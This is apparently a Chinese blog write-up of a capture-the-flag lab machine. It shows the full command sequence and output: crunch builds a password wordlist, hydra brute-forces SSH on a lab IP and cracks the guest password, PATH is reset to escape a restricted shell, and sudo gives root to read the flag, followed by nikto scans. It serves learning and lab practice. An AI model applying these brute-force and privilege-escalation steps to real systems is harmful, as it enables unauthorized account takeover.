+[->- --<]> ----- .<+++ ++++[ ->--- ----< ]>--- --.<+ ++++[ ->--- --<]>
----- ---.- --.<

字符集

加 密

解 密

You can enter into matrix as guest, with password k1ll0rXX
Note: Actually, I forget last two characters so I have replaced with XX try your luck and find correct string of password.

┌──(root💀kwkl)-[/home/kwkl/下载]
└─# apt --fix-broken install crunch 100 ⨯
正在读取软件包列表… 完成
正在分析软件包的依赖关系树… 完成
正在读取状态信息… 完成
您也许需要运行“apt --fix-broken install”来修正上面的错误。
下列软件包有未满足的依赖关系：
fern-wifi-cracker : 依赖: python3-pyqt5 但是它将不会被安装
python3-pyqt5-dbg : 依赖: python3-dbg 但是它将不会被安装
依赖: python3-pyqt5 (= 5.15.2+dfsg-3) 但是它将不会被安装
依赖: python3-pyqt5.sip-dbg (>= 12.8) 但无法安装它
E: 有未能满足的依赖关系。请尝试不指明软件包的名字来运行“apt --fix-broken install”(也可以指定一个解决办法)。

──(root💀kwkl)-[/home/kwkl/下载]
└─# wget archive.kali.org/archive-key.asc //下载签名 100 ⨯

apt-key add archive-key.asc //安装签名

–2021-11-23 23:58:26-- http://archive.kali.org/archive-key.asc
正在解析主机 archive.kali.org (archive.kali.org)… 192.99.45.140
正在连接 archive.kali.org (archive.kali.org)|192.99.45.140|:80… 已连接。
已发出 HTTP 请求，正在等待回应… 200 OK
长度：3155 (3.1K) [application/octet-stream]
正在保存至: “archive-key.asc”

archive-key.asc 100%[====================================================>] 3.08K 2.51KB/s 用时 1.2s

2021-11-23 23:58:28 (2.51 KB/s) - 已保存 “archive-key.asc” [3155/3155])

//下载签名: 地址缺少协议类型.
下载完毕 --2021-11-23 23:58:28–
总用时：2.3s
下载了：1 个文件，1.2s (2.51 KB/s) 中的 3.1K
Warning: apt-key is deprecated. Manage keyring files in trusted.gpg.d instead (see apt-key(8)).
gpg: 无法打开 ‘//安装签名’： 没有那个文件或目录

┌──(root💀kwkl)-[/home/kwkl/下载]
└─# 2 ⨯
apt-key add archive-key.asc

Warning: apt-key is deprecated. Manage keyring files in trusted.gpg.d instead (see apt-key(8)).
OK

┌──(root💀kwkl)-[/home/kwkl/下载]
└─#

root@kali:~# crunch 8 8 -t k1ll0r%@ -o dict.txt
Crunch will now generate the following amount of data: 2340 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 260

crunch: 100% completed generating output
root@kali:~# ls
Desktop Documents Music Public Videos
dict.txt Downloads Pictures Templates
root@kali:~# cat dict.txt
k1ll0r0a
k1ll0r0b
k1ll0r0c
k1ll0r0d
k1ll0r0e
k1ll0r0f
k1ll0r0g
k1ll0r0h
k1ll0r0i
k1ll0r0j
k1ll0r0k
k1ll0r0l
k1ll0r0m
k1ll0r0n
k1ll0r0o
k1ll0r0p
k1ll0r0q
k1ll0r0r
k1ll0r0s
k1ll0r0t
k1ll0r0u
k1ll0r0v
k1ll0r0w
k1ll0r0x
k1ll0r0y
k1ll0r0z
k1ll0r1a
k1ll0r1b
k1ll0r1c
k1ll0r1d
k1ll0r1e
k1ll0r1f
k1ll0r1g
k1ll0r1h
k1ll0r1i
k1ll0r1j
k1ll0r1k
k1ll0r1l
k1ll0r1m
k1ll0r1n
k1ll0r1o
k1ll0r1p
k1ll0r1q
k1ll0r1r
k1ll0r1s
k1ll0r1t
k1ll0r1u
k1ll0r1v
k1ll0r1w
k1ll0r1x
k1ll0r1y
k1ll0r1z
k1ll0r2a
k1ll0r2b
k1ll0r2c
k1ll0r2d
k1ll0r2e
k1ll0r2f
k1ll0r2g
k1ll0r2h
k1ll0r2i
k1ll0r2j
k1ll0r2k
k1ll0r2l
k1ll0r2m
k1ll0r2n
k1ll0r2o
k1ll0r2p
k1ll0r2q
k1ll0r2r
k1ll0r2s
k1ll0r2t
k1ll0r2u
k1ll0r2v
k1ll0r2w
k1ll0r2x
k1ll0r2y
k1ll0r2z
k1ll0r3a
k1ll0r3b
k1ll0r3c
k1ll0r3d
k1ll0r3e
k1ll0r3f
k1ll0r3g
k1ll0r3h
k1ll0r3i
k1ll0r3j
k1ll0r3k
k1ll0r3l
k1ll0r3m
k1ll0r3n
k1ll0r3o
k1ll0r3p
k1ll0r3q
k1ll0r3r
k1ll0r3s
k1ll0r3t
k1ll0r3u
k1ll0r3v
k1ll0r3w
k1ll0r3x
k1ll0r3y
k1ll0r3z
k1ll0r4a
k1ll0r4b
k1ll0r4c
k1ll0r4d
k1ll0r4e
k1ll0r4f
k1ll0r4g
k1ll0r4h
k1ll0r4i
k1ll0r4j
k1ll0r4k
k1ll0r4l
k1ll0r4m
k1ll0r4n
k1ll0r4o
k1ll0r4p
k1ll0r4q
k1ll0r4r
k1ll0r4s
k1ll0r4t
k1ll0r4u
k1ll0r4v
k1ll0r4w
k1ll0r4x
k1ll0r4y
k1ll0r4z
k1ll0r5a
k1ll0r5b
k1ll0r5c
k1ll0r5d
k1ll0r5e
k1ll0r5f
k1ll0r5g
k1ll0r5h
k1ll0r5i
k1ll0r5j
k1ll0r5k
k1ll0r5l
k1ll0r5m
k1ll0r5n
k1ll0r5o
k1ll0r5p
k1ll0r5q
k1ll0r5r
k1ll0r5s
k1ll0r5t
k1ll0r5u
k1ll0r5v
k1ll0r5w
k1ll0r5x
k1ll0r5y
k1ll0r5z
k1ll0r6a
k1ll0r6b
k1ll0r6c
k1ll0r6d
k1ll0r6e
k1ll0r6f
k1ll0r6g
k1ll0r6h
k1ll0r6i
k1ll0r6j
k1ll0r6k
k1ll0r6l
k1ll0r6m
k1ll0r6n
k1ll0r6o
k1ll0r6p
k1ll0r6q
k1ll0r6r
k1ll0r6s
k1ll0r6t
k1ll0r6u
k1ll0r6v
k1ll0r6w
k1ll0r6x
k1ll0r6y
k1ll0r6z
k1ll0r7a
k1ll0r7b
k1ll0r7c
k1ll0r7d
k1ll0r7e
k1ll0r7f
k1ll0r7g
k1ll0r7h
k1ll0r7i
k1ll0r7j
k1ll0r7k
k1ll0r7l
k1ll0r7m
k1ll0r7n
k1ll0r7o
k1ll0r7p
k1ll0r7q
k1ll0r7r
k1ll0r7s
k1ll0r7t
k1ll0r7u
k1ll0r7v
k1ll0r7w
k1ll0r7x
k1ll0r7y
k1ll0r7z
k1ll0r8a
k1ll0r8b
k1ll0r8c
k1ll0r8d
k1ll0r8e
k1ll0r8f
k1ll0r8g
k1ll0r8h
k1ll0r8i
k1ll0r8j
k1ll0r8k
k1ll0r8l
k1ll0r8m
k1ll0r8n
k1ll0r8o
k1ll0r8p
k1ll0r8q
k1ll0r8r
k1ll0r8s
k1ll0r8t
k1ll0r8u
k1ll0r8v
k1ll0r8w
k1ll0r8x
k1ll0r8y
k1ll0r8z
k1ll0r9a
k1ll0r9b
k1ll0r9c
k1ll0r9d
k1ll0r9e
k1ll0r9f
k1ll0r9g
k1ll0r9h
k1ll0r9i
k1ll0r9j
k1ll0r9k
k1ll0r9l
k1ll0r9m
k1ll0r9n
k1ll0r9o
k1ll0r9p
k1ll0r9q
k1ll0r9r
k1ll0r9s
k1ll0r9t
k1ll0r9u
k1ll0r9v
k1ll0r9w
k1ll0r9x
k1ll0r9y
k1ll0r9z
root@kali:~#

┌──(root💀kwkl)-[/home/kwkl/下载]
└─# hydra -l guest -P dict.txt 172.16.70.139 ssh
Hydra v9.1 © 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-11-24 00:09:14
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 260 login tries (l:1/p:260), ~17 tries per task
[DATA] attacking ssh://172.16.70.139:22/

┌──(root💀kwkl)-[/home/kwkl/下载]
└─# hydra -l guest -P dict.txt 172.16.70.139 ssh
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-11-24 00:09:14
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 260 login tries (l:1/p:260), ~17 tries per task
[DATA] attacking ssh://172.16.70.139:22/
[STATUS] 179.00 tries/min, 179 tries in 00:01h, 84 to do in 00:01h, 16 active
[22][ssh] host: 172.16.70.139   login: guest   password: k1ll0r7n
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 3 final worker threads did not complete until end.
[ERROR] 3 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-11-24 00:10:18
                                                                                                                             
┌──(root💀kwkl)-[/home/kwkl/下载]
└─#   

┌──(root💀kwkl)-[/home/kwkl/下载]
└─# ssh guest@172.16.70.139                                                                                            255 ⨯
The authenticity of host '172.16.70.139 (172.16.70.139)' can't be established.
ECDSA key fingerprint is SHA256:BMhLOBAe8UBwzvDNexM7vC3gv9ytO1L8etgkkIL8Ipk.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.16.70.139' (ECDSA) to the list of known hosts.
guest@172.16.70.139's password: 
Last login: Mon Aug  6 16:25:44 2018 from 192.168.56.102
guest@porteus:~$ 
guest@porteus:~$ 
guest@porteus:~$ 




/home/guest/Desktop /home/guest/Documents /home/guest/Downloads /home/guest/Music /home/guest/Pictures /home/guest/Public /home/guest/Videos /home/guest/prog
guest@porteus:~$ echo /home/guest/prog/*
/home/guest/prog/vi
guest@porteus:~$ echo $SHELL
/bin/rbash
guest@porteus:~$ export PATH=/usr/bin:/bin/
guest@porteus:~$ sudo -l
User guest may run the following commands on porteus:
    (ALL) ALL
    (root) NOPASSWD: /usr/lib64/xfce4/session/xfsm-shutdown-helper
    (trinity) NOPASSWD: /bin/cp
guest@porteus:~$ sudo su

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

Password: 
root@porteus:/home/guest# cat flag.txt
cat: flag.txt: No such file or directory
root@porteus:/home/guest# ls
Desktop/  Documents/  Downloads/  Music/  Pictures/  Public/  Videos/  prog/
root@porteus:/home/guest# cd
root@porteus:~# ls
Desktop/  Documents/  Downloads/  Music/  Pictures/  Public/  Videos/  flag.txt
root@porteus:~# cat flag.txt
   _,-.                                                             
,-'  _|                  EVER REWIND OVER AND OVER AGAIN THROUGH THE
|_,-O__`-._              INITIAL AGENT SMITH/NEO INTERROGATION SCENE
|`-._\`.__ `_.           IN THE MATRIX AND BEAT OFF                 
|`-._`-.\,-'_|  _,-'.                                               
     `-.|.-' | |`.-'|_     WHAT                                     
        |      |_|,-'_`.                                            
              |-._,-'  |     NO, ME NEITHER                         
         jrei | |    _,'                                            
              '-|_,-'          IT'S JUST A HYPOTHETICAL QUESTION    

root@porteus:~#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eDbYGi95-1637854773638)(/Users/aron/Library/Application Support/typora-user-images/image-20211124002018559.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ppmAVUeb-1637854773639)(/Users/aron/Library/Application Support/typora-user-images/image-20211124002030371.png)]

guest@porteus:~$ export PATH=/usr/bin:/bin/
guest@porteus:~$ sudo -l
User guest may run the following commands on porteus:
    (ALL) ALL
    (root) NOPASSWD: /usr/lib64/xfce4/session/xfsm-shutdown-helper
    (trinity) NOPASSWD: /bin/cp
guest@porteus:~$ sudo su
root@porteus:/home/guest# cd
root@porteus:~# ls
Desktop/  Documents/  Downloads/  Music/  Pictures/  Public/  Videos/  flag.txt
root@porteus:~# 

─# ./nikto.pl -host 172.16.70.139                                                                                                                   1 ⨯
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          172.16.70.139
+ Target Hostname:    172.16.70.139
+ Target Port:        80
+ Start Time:         2021-11-24 00:35:00 (GMT8)
---------------------------------------------------------------------------
+ Server: SimpleHTTP/0.6 Python/2.7.14
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Python/2.7.14 appears to be outdated (current is at least 3.8.0)
+ SimpleHTTP/0.6 appears to be outdated (current is at least 1.2)
+ ERROR: Error limit (20) reached for host, giving up. Last error: invalid HTTP response
+ SCAN TERMINATED:  16 error(s) and 4 item(s) reported on remote host
+ End Time:           2021-11-24 00:35:12 (GMT8) (12 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
                                                                                                                                                         
┌──(root💀kwkl)-[/opt/nikto-master/program]
└─# ./nikto.pl -host 172.16.70.139 -C all                                                                                                            1 ⨯
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          172.16.70.139
+ Target Hostname:    172.16.70.139
+ Target Port:        80
+ Start Time:         2021-11-24 00:35:37 (GMT8)
---------------------------------------------------------------------------
+ Server: SimpleHTTP/0.6 Python/2.7.14
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type.
+ SimpleHTTP/0.6 appears to be outdated (current is at least 1.2)
+ Python/2.7.14 appears to be outdated (current is at least 3.8.0)
+ ERROR: Error limit (20) reached for host, giving up. Last error: invalid HTTP response
+ SCAN TERMINATED:  20 error(s) and 4 item(s) reported on remote host
+ End Time:           2021-11-24 00:35:45 (GMT8) (8 seconds)
------------------------------------------------------------------------
32进制
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
blizzardctf2017:暴雪CTF 2017
05-18
暴雪CTF 2017：Sombra真随机数生成器（STRNG） Sombra真实随机数生成器（STRNG）是我为Blizzard CTF 2017开发的基于QEMU的挑战。挑战是实现从基于QEMU的VM逃脱VM并捕获位于主机上/ root / flag的标志。安装挑战中...
kali域名解析暂时失败解决方法
爱玩游戏的黑客的博客
11-21 2273
kali域名解析暂时失败解决方法
Nmap扫描教程之DNS服务类
大学霸__IT达人
06-25 7789
Nmap扫描教程之DNS服务类
sudo: 无法解析主机： 未知的名称或服务 sudo: 初始化审计插件 sudoers_audit 出错 linux报错（保姆级图文）【网络工程】
MZH
05-15 4016
sudo: 无法解析主机： 未知的名称或服务 sudo: 初始化审计插件 sudoers_audit 出错（保姆级图文）【网络工程】
ctf：kali工具wireshark，nmap
viviliving的专栏
12-02 961
wireshark得在视窗里打开。
nmap安装和使用
java技术博客
07-26 930
kali和ubuntu默写版本已经预先安装了nmap。centos7.x安装nmap。
google-ctf：Google CTF
02-04
Google CTF 该存储库列出了2017-2019 Google CTF中使用的大多数挑战以及可用于运行这些挑战的大多数基础结构。 重要信息-2017、2018、2019和2020文件夹中的代码具有未修复的安全漏洞。 这些是故意存在的，并且在...
CTFs:各种CTF的撰写
05-14
信托基金 该存储库包含我参与过的各种CTF的文章。 如果我尝试先将它们提交给 ，则会用希伯来语撰写一些文章。
spindra：用于CTF的Docker容器
02-26
用于CTF的Docker容器 sudo docker run -it --rm \ -e DISPLAY=$DISPLAY \ -v /tmp/.X11-unix:/tmp/.X11-unix \ -v $HOME/spindra:/data \ --cap-add NET_ADMIN \ # Not required but useful --cap-add SYS_...
saigar-ctf:Saigar CTF 平台
05-29
赛加尔CTF世界上第一个众包调查的 CTF 平台介绍Saigar CTF 是一个开源 CTF 平台，用于促进众包调查，可以扩展到数百个具有实时数据的并发用户。 Saigar CTF 平台促成的最大事件有500 多个用户，在6 小时内提交了8,...
22.Ubuntu出现“由于没有公钥，无法验证下列签名”
其木王·王子的博客
10-19 8831
我图中的公钥就是：3B4FE6ACC0B21F32（实际看自己的是什么）执行后公钥就被导入了，再使用sudo apt update就没问题了。
ubuntu22.04安装ros2 humble[实测OK]
热门推荐
weixin_44979075的博客
06-10 1万+
ros2 最新版安装教程humble ubuntu22.04以及dockerros
Docker环境安装
zhaozhao0301的博客
04-28 942
Docker 是一个开源的应用容器引擎，让开发者可以打包他们的应用以及依赖包到一个可移植的容器中, 然后发布到任何流行的Linux机器或Windows 机器上,也可以实现虚拟化,容器是完全使用沙箱机制,相互 之间不会有任何接口。
Debian12 安装mysql遇到Warning: apt-key is deprecated. Manage keyring files in trusted.gpg.d instead
nbv12589的博客
01-13 973
从mysql的镜像网站找到这个gpg-key，然后以二进行写入到 /usr/share/keyrings/mysql-apt-config.gpg 文件里面。为什么是这个路径呢？mysql的资源文件指定了签名的文件。在安装数据的过程中，apt-get update 之后可能会遇到。找了很多答案，以下是一个可行的方案。
由于没有公钥，无法验证下列签名： NO_PUBKEY
Turn X7
09-16 1550
由于没有公钥，无法验证下列签名： NO_PUBKEY
debian用docker安装apache2
苔的博客
04-18 607
(使用get.docker.com脚本安装Docker，并且在执行过程中遇到了"apt-key is deprecated. Manage keyring files in trusted.gpg.d instead (see apt-key(8))."的警告消息。-----------------------------------------------------安装apache-------------------------------------------------4.安装docker。
Warning: apt-key is deprecated. Manage keyring files in trusted.gpg.d instead (see apt-key(8))
最新发布
标准都是留给不爱的人，爱的本质是自由意志的沉沦
04-27 685
通过这种方式，您应该能够成功添加 Docker 官方 GPG 密钥到 Ubuntu 系统中，并继续安装 Docker 软件包。已经被标记为弃用，因此系统给出了警告信息。此外，curl 命令在下载 GPG 密钥时遇到了 SSL 读取错误。为了解决这个问题，您可以尝试使用新的方式来添加 GPG 密钥到 Ubuntu 系统中。命令向 Ubuntu 系统添加 Docker 官方 GPG 密钥时遇到了问题。
探测工具nmap简介及使用说明
晴空的博客
11-07 1560
Nmap(Nmap是"Network Mapper"的缩写)是一款免费开源的网络探测和安全审核工具
00:00ctf解码
09-04
CTF（Capture The Flag）是一种网络安全竞赛，其中参赛者需要通过解决各种密码学、漏洞利用、逆向工程等题目来获取旗帜（Flag）。在CTF中，解码通常是解决密码学题目的一部分。解码的目标是将经过编码或加密的信息...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值